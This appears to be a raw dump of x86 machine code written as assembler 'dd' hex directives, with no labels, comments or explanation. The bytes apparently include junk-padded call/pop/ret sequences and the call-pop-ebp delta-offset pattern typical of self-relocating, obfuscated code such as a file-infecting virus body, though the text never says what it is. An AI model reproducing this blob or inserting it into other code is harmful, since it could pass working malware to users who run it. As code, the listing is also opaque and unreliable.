		dd 6A914EDh, 8D0Fh, 89610000h, 0A92DAD8Dh, 6A586106h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D2C9C352h, 0DB460C40h, 48F8B604h, 1731BD23h, 0D82B06A9h
		dd 18F880Fh, 0B5290000h, 6A929E9h, 7B9h, 0C18300h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CEC35646h, 0E781664Ah
		dd 9509C0F5h, 6A932B5h,	860FD93Bh, 151h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 78C35747h, 2BF78B66h
		dd 0A93369B5h, 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 2BC35141h, 2CB8CBC4h,	44FE144Dh, 97CF8166h
		dd 4C1F60Eh, 0B1840Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0E5ED98C3h, 7BC33F5h
		dd 6057A83Ch, 2629952Bh, 2FB606A9h, 95FF5F61h, 6A913CDh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 6EC35646h
		dd 0B742AE4Dh, 3AB0E4AEh, 0A1BF66CCh, 0BD0B5B67h, 6A90351h
		dd 27F5BD8Bh, 0C32B06A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0E7C35646h, 7E9h, 68908700h, 913AFF9Ah
		dd 8343Dh, 10860F00h, 66000000h, 80DCF681h, 4CE9h, 1B58B00h
		dd 8B06A904h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0DEE107A7h, 0F0001E83h, 0B58BA761h
		dd 6A90191h, 1D852960h,	0E906A915h, 0Ch, 7B1EEC61h, 63D6ED1Bh
		dd 1F3AB5CAh, 8BC38B61h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F9FA793h, 980h, 8BF96000h
		dd 0A913E9B5h, 81666106h, 0C7D60FDEh, 0A9137985h, 4311FF06h
		dd 3D852959h, 8B06A922h, 0BDBD8BC0h, 8106A922h,	0A9106DBDh
		dd 7D006h, 31850F00h, 8B000000h, 0A90BF5BDh, 6D85FF06h
		dd 6A06A910h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0AD8DC351h, 0B589E270h, 6A92615h
		dd 106DB5FFh, 95FF06A9h, 6A92D95h, 0AE956h, 0C1E30000h
		dd 6F2B636Dh, 0EAB4530Ah, 6A905Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0F85F9AC3h, 5EDBB0ABh
		dd 369BD8Bh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0F05CFC3h, 388h,	0FFBF0F00h, 29F8B70Fh
		dd 0A925799Dh, 358D8906h, 6A06A920h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D7BC350h
		dd 1DBD8B60h, 0E806A911h, 0Dh, 0A956E02Eh, 67F41DB1h, 4A5B7B5Eh
		dd 1BD8BEFh, 5F06A934h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0F9C35646h, 8BD06BBFh, 0A92931BDh, 52BE6606h
		dd 52006A23h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 9A2BB05Bh, 7E955EBEh, 0E19D890Bh, 8106A91Dh
		dd 23EE03E6h, 0A1BD2367h, 0F06A91Dh, 984h, 41B58900h, 0F06A933h
		dd 6FE9FFB7h, 6AFFFFF8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 7E38C352h, 0E7D0DBB2h
		dd 5E53EF9Bh, 0BD8BC18Bh, 6A90CCDh, 4EBh, 85890000h, 6A9316Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FC35343h
		dd 0CBC0A9Eh, 2411BD8Bh, 858D06A9h, 6A90535h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0FAC35545h, 0DE9h
		dd 0A406C400h, 33624131h, 1A7D7823h, 605053C3h,	7FCB69BBh
		dd 6652507Eh, 310FF88Bh, 11E8h,	0CC3FE200h, 8C353668h
		dd 1979E077h, 0C12FF7EAh, 5A5A6901h, 4896158h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8B664FBFh, 6A006AFBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0F637C351h,	3A7CC040h
		dd 1C8A2970h, 17D5B58Bh, 6A06A9h, 1EB1B589h, 8B6606A9h
		dd 0B5858DFBh, 6A06ACF8h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 1606C355h, 9BE51318h
		dd 9E995h, 0F5420000h, 1D48352Ah, 533FE9C5h, 5C0835Eh
		dd 8B6690F8h, 525050FAh, 3128B8BFh, 0E9310F1Ah,	9, 97DB47E2h
		dd 0C182235Dh, 90585A1Eh, 0FCEDBE66h, 6A006Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 56C35646h, 2EA995FFh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0C98064C3h, 0E25B53FFh, 0BD8B3A64h, 6A9096Dh
		dd 328DBD8Bh, 9D8D06A9h, 6AC98DEh, 11F9B589h, 0B70F06A9h
		dd 8BD3FFF2h, 0A90399B5h, 0D85FF06h, 0E906A917h, 6, 0DE090B81h
		dd 89E9B33Bh, 0E8000008h, 0
		dd 0BFED815Dh, 8906ACF8h, 0A9331D8Dh, 6DBD8106h, 0D006A910h
		dd 0F000007h, 11586h, 81665100h, 5F9C8AEFh, 1FC19D8Bh
		dd 0B53306A9h, 6A922BDh, 100E381h, 0BF90000h, 95850FDBh
		dd 81000000h, 0B331E3E6h, 0F1BD8315h, 6ACF6h, 30840Fh
		dd 8D290000h, 6A912C1h,	87E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 6553B127h
		dd 97ABBF2Ah, 85C77B7Bh, 6ACF6F1h, 1, 6E9h, 0B0813400h
		dd 0E9DAFBD1h, 48h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 5AC35343h, 783F6E59h,	10E8FC59h, 0B000000h
		dd 67489FBBh, 48D63052h, 8EB1E864h, 5F4DD3F2h, 0F6F185C7h
		dd 6ACh, 0BF0F0000h, 0F7BF0FF6h, 1FC19D8Dh, 950106A9h
		dd 6A92139h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0DAA5C8C3h, 3CFA52A1h
		dd 840F172Dh, 12h, 0DE9h, 0ED9D0900h, 0A269F018h, 3567B1B3h
		dd 8C66FF83h, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 85314534h, 6A92A4Dh, 0F04C3F6h, 8E84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B3F3E97h, 0CD95FFF1h, 6A06A913h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 27F5C356h, 58C31910h, 21298589h, 529006A9h, 13E8h, 66CA3A00h
		dd 4EE076F5h, 0C684A114h, 0F6E873B2h, 0DB42AA63h, 66505F5Fh
		dd 0F90F28Bh, 1A83h, 12E800h, 7D2A0000h, 7094B5C4h, 5CEB2E3h
		dd 663BC382h, 44748D84h, 0E95E6160h, 45Bh, 10C9B589h, 0B006A9h
		dd 0BE9h, 338DDD00h, 0BB1FFB34h, 20EC0373h, 6A70E6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0CA6649C3h, 0C2BBF0DAh, 71E4B550h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 92C35040h, 0F8E9AA1h, 12E9D8B6h
		dd 0FC000000h, 493202B0h, 0D81DAD68h, 3BACE58Ah, 2B9FD419h
		dd 0F08B66CBh, 6BAh, 0F0BF0F00h, 6E9h, 0E9DEC700h, 8B300B62h
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0FF3BDA17h, 21C1B58Bh, 0E8C106A9h, 0FE8B6604h
		dd 6AE2F766h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 6DA2C355h, 0F032F306h,	55D9A1C3h
		dd 25B58Bh, 0D82B06A9h,	0E7EF8166h, 525093CAh, 21FE21BEh
		dd 66310F63h, 5A8D2EBEh, 0BF665058h, 6A938F55h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 9D40C351h, 9998BA1Eh, 106DB5FFh, 6A06A9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1BF5DDC3h
		dd 2D9B9D97h, 158A0Fh, 10E90000h, 12000000h, 84B8F374h
		dd 5B254D6Fh, 641AC4CCh, 0E81659B2h, 8,	46120D6Dh, 2B69DB71h
		dd 4D59D89h, 0FF5E06A9h, 0A92D9595h, 7E806h, 0D85E0000h
		dd 5269395h, 0FFBF0FEAh, 5300B05Eh, 149D9589h, 0E65E06A9h
		dd 0E4F18B70h, 12E871h,	46CC0000h, 967C3C9Bh, 0A5AD6054h
		dd 0D84E62Dh, 816DFF43h, 13358589h, 3C5E06A9h, 90830F61h
		dd 6A000002h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0A854C357h, 70B744E9h,	0E9F18BECh
		dd 11h,	8FFEE127h, 509256EBh, 886AC965h, 4C995160h, 0D8B60F70h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0EDC35747h
		dd 78445C6Fh, 6BA1864h,	8B000000h, 55006AC3h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 4FECA0BCh
		dd 21858970h, 0F06A914h, 282h, 0C1F18B00h, 0BE804E8h, 2C000000h
		dd 0D35D07D3h, 80119046h, 0DE817A7Ch, 119E12DCh, 0F766F55Fh
		dd 6810FE2h, 89000000h,	0A92DAD8Dh, 6AD82B06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3969C356h, 9589CF0Fh, 6A902B5h, 1BD8958h, 2906A91Eh
		dd 0A9115D85h, 0FD82B06h, 19688h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 30D21911h
		dd 93077956h, 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0A87175EAh, 255D79DCh
		dd 0B58BB92Bh, 6A91D41h, 6A00C183h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2FACC356h
		dd 0B2FFE26Ch, 208FAD52h, 0C618CF81h, 0D93B2700h, 10D860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0CBD6C5C3h, 6442F681h, 8C666E9Bh,	0E1B58BD9h
		dd 0F606A913h, 840F04C1h, 0CDh,	41DB589h, 95FF06A9h, 6A913CDh
		dd 347D9D89h, 6A5B06A9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 53F9C352h, 712D7EEDh
		dd 0E1E74670h, 0FE8h, 0AFDF0900h, 5DECEE56h, 752E773Ah
		dd 7A31ADDh, 831B58Bh, 0F5E06A9h, 86h, 0E9C32B00h, 0Bh
		dd 9D8FC029h, 487FCF43h, 3DD3CFC7h, 834h, 57860Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 104A72C3h, 8E8h, 128D6200h, 0FC4420C6h, 0E95FF989h
		dd 2Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h
		dd 93C35545h, 1DBD2BD8h, 5706A912h, 56C08B5Fh, 8F39CE81h
		dd 8B5E656Fh, 8BD88BC3h, 0A90175BDh, 585C706h, 5706A926h
		dd 6A1240F1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0BC5DC353h, 0FCB2A909h, 8589C08Bh
		dd 6A90DD9h, 106DBD81h,	7D006A9h, 850F0000h, 37h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 1DC35343h, 3E1D2306h
		dd 48D0F65h, 57000000h,	0FF5FF38Bh, 0A9106D85h,	0ED8D8906h
		dd 0FF06A922h, 0A9106DB5h, 718D8906h, 0FF06A900h, 0A92D9595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 311FD1CCh, 8B5AABCAh, 0A90075BDh, 0FB8B9006h
		dd 15EF856h, 0A93299BDh, 29BD8906h, 6A06A91Eh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0B4C9C353h, 800F9BD8h, 1, 75BD29F8h,	0F06A901h, 0C8Bh
		dd 2DBD8B00h, 8906A900h, 0A900199Dh, 95BD8B06h,	8B06A926h
		dd 0EE9F3h, 33A00000h, 20DD2BF9h, 0A6F45635h, 0DE1B36D6h
		dd 1880Fh, 6AF80000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3D5C350h, 0E901416Eh, 8D293A93h
		dd 6A90359h, 32AD8D89h,	6A06A9h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 7D86B1C3h, 9E8h, 89D0FD00h
		dd 97871FB7h, 85899729h, 6A913E9h, 2175B589h, 6A5E06A9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h
		dd 37FDC353h, 50CD1962h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 4DC35141h, 0A2ADF778h, 2BBE84CFh, 6663ABD4h
		dd 0AB33CE81h, 2A49B58Bh, 12E906A9h, 95000000h,	1BC91456h
		dd 893D104Bh, 6A3C29BAh, 56B53E6Dh, 0D5B58B74h,	0E906A934h
		dd 0FFFFF79Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	94C35646h, 0A2C87B75h, 0E781C95Ch, 31FDAC64h, 9E8C18Bh
		dd 90000000h, 0AA7A31AFh, 5269C073h, 0C818589h,	0EB5F06A9h
		dd 4, 13E800h, 17EB0000h, 56912C5Ch, 0C2AAE3E8h, 791D5429h
		dd 335805BCh, 0EE816611h, 6A5F0C26h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0C22DC356h
		dd 16AD0342h, 9589D575h, 6A90CB5h, 535858Dh, 6A06A9h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B127BC3h, 0A9282DB5h, 0F98B9006h, 0FE850h, 0CDF60000h
		dd 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 38F0F0Ah,	66000000h
		dd 905FF98Bh, 13E8h, 3D385400h,	831B8121h, 387FFFC5h, 485D5A3Eh
		dd 893330B5h, 48E7E781h, 6A5E32CFh, 0E1958900h,	6606A92Ch
		dd 6AFE8Bh, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Bh,	84C35343h, 3DAC67E2h, 605E938Dh, 8E0FDF8Bh, 0
		dd 0D9D2961h, 8D06A904h, 0AD038D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 8691FCECh
		dd 4A9CDC5Dh, 168DB58Bh, 0C08306A9h, 25B58B05h,	5006A917h
		dd 0DE9h, 4CAD000h, 0E50B9D47h,	639FE03h, 4899607h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 609CD20Dh, 62CE1965h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 15F632C3h, 10157690h
		dd 6AD5FE87h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0C2992FDFh, 0DD5F65F6h, 2EA995FFh
		dd 6A06A9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 7FFE51C3h, 89C0E6E1h, 0A9131595h,	0DE9D8D06h
		dd 0F06AC98h, 1E89h, 12E800h, 78F70000h, 0D1CC3621h, 0ABCA311Fh
		dd 4C05B85Ah, 0B2446EBCh, 890Fh, 0FF5E0000h, 0FFFB8BD3h
		dd 0A9170D85h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0CE9730Fh, 0E8000009h
		dd 0
		dd 97ED815Dh, 8906AD03h, 0A913C1B5h, 6DBD8106h,	0D006A910h
		dd 0F000007h, 16E86h, 0B58B6000h, 6A90291h, 34E98D8Bh
		dd 8B6106A9h, 0A92D5D9Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 3E517F2Eh
		dd 3329DB31h, 0A16798BEh, 61858952h, 8106A90Fh,	100E3h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 11D53796h, 12E9h, 178DF900h, 1679177Eh
		dd 0C5957259h, 1E43B6D1h, 0E8245840h, 0Ah, 0E9707A37h
		dd 9E01FCFCh, 5060CB04h, 45DE8158h, 611C4725h, 0FDB0B5Fh
		dd 8B85h, 7E900h, 15950000h, 0E7BECEBDh, 5CBD83E9h, 6AD01h
		dd 27840Fh, 95010000h, 6A91CD1h, 97E9h,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 5C85C701h, 106AD01h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 5CE0C357h
		dd 0A879C07h, 0E96D05FBh, 13h, 3FBA4F56h, 0CB7D5B54h, 0BFED3A33h
		dd 1F4BF87Fh, 0E92495CBh, 30h, 15C85C7h, 6ADh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0E465CDC3h, 8D891DE1h, 6A911B1h, 2D5D9D8Dh, 830F06A9h
		dd 1, 0FF2381F8h, 66FFFFFEh, 830FDB8Ch,	10h, 9E952h, 0A3C20000h
		dd 759CDD2Fh, 5F490693h, 1045BD0Bh, 0C3F606A9h,	9E840F04h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9B67C353h, 937FA6Fh, 0CB6B3842h
		dd 3199B58Bh, 95FF06A9h, 6A913CDh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0DBC35343h,	6ED0EC93h, 0F28B6610h
		dd 0FE85150h, 0A000000h, 55F37F80h, 47740614h, 2C4740Dh
		dd 890F547Eh, 0
		dd 4895E5Eh, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 42D090DFh, 292C04F9h, 0A9095D9Dh
		dd 4A7E906h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 3E2000C3h, 9589FA8Bh, 6A922C1h
		dd 0E6F900B0h, 56006A70h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 2100F520h, 0D276976Eh
		dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B50350C3h, 6A9148Dh, 6AD8B60Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 70BCC350h, 1C0242BBh, 5E981h, 5A680000h, 0BA5DD467h
		dd 6, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h, 19h
		dd 97C35747h, 0E455832Bh, 0A1858911h, 8B06A934h, 4E8C1C3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E9C35040h
		dd 0A9010129h, 69B589FAh, 6606A90Ah, 810FE2F7h,	6, 8D0Fh
		dd 0D82B0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	60C35242h, 28296EDBh, 52509312h, 0C629BE66h, 241C895Fh
		dd 3578BE51h, 0FF5E01EAh, 0A9106DB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 5A3E041h, 95FF3705h,	6A92D95h, 6A00B0FCh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E67DC351h, 0F28B6670h, 6A71E4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1F97DDC3h
		dd 8B60ABA7h, 0A90E1D85h, 0DEBF0F06h, 0F613C61h, 2E483h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0F62C0A6h, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E079A9C3h, 160DBD8Bh
		dd 820F06A9h, 15h, 10E9h, 8C2D1B00h, 0C960904Fh, 0F318F69Fh
		dd 0F08BB39Ch, 6BA82h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 84CA50C3h, 1340971h
		dd 0A907ED95h, 0C9B53306h, 8B06A920h, 13E8C3h, 0D9170000h
		dd 6D2316B3h, 4D00715Dh, 0CBBB17A0h, 328B05C1h,	4850F58h
		dd 66000000h, 5E8A05BEh, 6A04E8C1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 7A95C351h
		dd 82E10356h, 85895207h, 6A92A79h, 0E9E2F766h, 12h, 8451C515h
		dd 2D11E7F6h, 0A5FB6A5Ah, 0F129392Bh, 0D82BD0E6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 18C35040h, 548A5133h
		dd 6A5836E4h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0D362C356h, 0B3FAB37Dh, 0F8E43609h
		dd 85B58B60h, 8106A934h, 0B38654C0h, 0D82B6110h, 187880Fh
		dd 0FE90000h, 0BF000000h, 110EACC2h, 0B887AAF6h, 10981B28h
		dd 7B92CC0h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 86C6C357h, 0E62E16F4h
		dd 8369B607h, 0F68100C1h, 0E13BD0Ah, 860FD93Bh,	139h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DCC35646h, 4331367Ch
		dd 0D6BD6D83h, 0D98C6673h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 60C35242h, 58225509h,	8A607896h, 0B58533E3h
		dd 6106A935h, 0F04C1F6h, 0CE84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BF0F2BBFh
		dd 0CD95FFF7h, 6A06A913h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0FBBEC351h,	6A5BA9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 8D1ABFC3h, 1DBD8B56h, 5E06A933h, 8E0FC32Bh, 15h, 10E9h
		dd 0F517DA00h, 0ACE900EDh, 0B6CD4F7Fh, 45CF6957h, 8343D91h
		dd 860F0000h, 3Bh, 0DE9h, 0D0F86E00h, 2A115ABAh, 0B4996989h
		dd 0E9FC6E68h, 31h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0E3C35343h, 579CB740h, 8BFAB70Fh, 658D89C0h
		dd 8B06A91Fh, 0A93249BDh, 8BC38B06h, 6D9529D8h,	0C706A90Fh
		dd 0A91FC185h, 0F007D906h, 56006A78h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 87DD507Ah
		dd 0EFEE8166h, 89C08BEFh, 0A9337985h, 8E906h, 7EB20000h
		dd 4CE6E584h, 0BD81FDD7h, 6A9106Dh, 7D0h, 30850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A4A2C0C3h, 0EF58589h, 85FF06A9h, 6A9106Dh, 1A99B589h
		dd 0B5FF06A9h, 6A9106Dh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 85C35545h, 4A7FC1C5h,	8890Fh,	0F600000h
		dd 0D880FFBFh, 95FF6138h, 6A92D95h, 83B4D4BFh, 0BBBF9012h
		dd 6667365Dh, 0B0D7CF81h, 1E2DBD8Bh, 6A06A9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0BB2CEC3h
		dd 9722FA60h, 2BE665Ah,	8B6660D1h, 8E8C3h, 0B4B80000h
		dd 134DC579h, 9E8AAC8h,	66000000h, 204A22DFh, 0C465ED18h
		dd 0DD8D2B59h, 5E06A90Eh, 7919D09h, 10E906A9h, 92000000h
		dd 7262E663h, 0D4095170h, 0B70D300Fh, 615DE943h, 61E4BE66h
		dd 6850Fh, 0B5890000h, 6A917A5h, 5AA8BF66h, 3830Fh, 0B70F0000h
		dd 8BF18BF6h, 0E8BE66F3h, 19BD8B81h, 0F06A914h,	68Ah, 0E18D8900h
		dd 0F906A916h, 0AE9h, 59694900h, 37C14D53h, 6A63ED96h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7C98C356h, 14E98752h, 0FE000000h,	0C2D223ADh
		dd 2DEF8D41h, 5E9C3018h, 20A02002h, 81E8159Eh, 90AB65D7h
		dd 57006A40h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0C681F244h, 0E9DA9AD5h, 0FFFFF70Bh, 12E9h
		dd 0D0168E00h, 0A99DADE8h, 8713F2CEh, 39A79DCBh, 8B950B6Dh
		dd 958956C1h, 6A90D3Dh,	0D1B58B5Eh, 0EB06A91Ch,	4, 4DB50300h
		dd 8906A912h, 0A934C59Dh, 35858D06h, 6606A905h,	7031D681h
		dd 0FE8h, 0AF97AD00h, 142DB35Eh, 32E1931Eh, 0C5692D66h
		dd 0DE8905Fh, 6F000000h, 219241C1h, 0EC0518C8h,	1AEC7D42h
		dd 7E8h, 3CA4E300h, 0D02ADD7h, 5F5F6160h, 8836BF50h, 299023D7h
		dd 0A90335BDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0ECD1C353h,	6AF46Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D1C35646h
		dd 8DBB5192h, 0AD0E5685h, 83F18B06h, 820F05C0h,	1, 506050F9h
		dd 0F5F5052h, 5A91B431h, 5E858h, 8830000h, 56CCB770h, 89615B5Ah
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 863550C3h, 0A9B8BE39h, 8D0Fh, 6A0000h, 119F681h
		dd 0BD0B6A60h, 6A914B5h, 0BD8B006Ah
		dd 6A91281h, 2EA995FFh,	6A06A9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8B100EC3h, 0A92A4DBDh
		dd 0DE9D8D06h, 0E806AC98h, 7, 0E3498F2Ch, 0F0DDB15h, 689h
		dd 8A0F00h, 5E000000h, 2F14DE81h, 0D3FF010Eh, 0AE8h, 52CBD600h
		dd 0CA55E1ECh, 0F97E517h, 286h,	5F5F5000h, 1CE18589h, 85FF06A9h
		dd 6A9170Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0E1C35545h, 0C7748646h,	0E90F727Bh, 8CCh, 0E8h
		dd 0ED815D00h, 6AD0E60h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 14h, 0CCC35242h, 8CE302BEh, 31BD0317h, 8106A904h
		dd 0A9106DBDh, 7D006h, 46860F00h, 6A000001h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 6E34C355h, 2E99136Ch, 1BD8BE7h, 8B06A928h, 0A90F959Dh
		dd 9BD8B06h, 8106A900h,	100E3h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0AC1E37D9h
		dd 0AAFF8A4Ah, 35759D29h, 0DB0B06A9h, 0A6850Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0F014CFC3h, 0BD83FB95h, 6AD0CB0h, 16840F00h,	0E9000000h
		dd 7, 1BFD2161h, 0E9A79B1Fh, 7Fh, 758364BEh, 0B085C706h
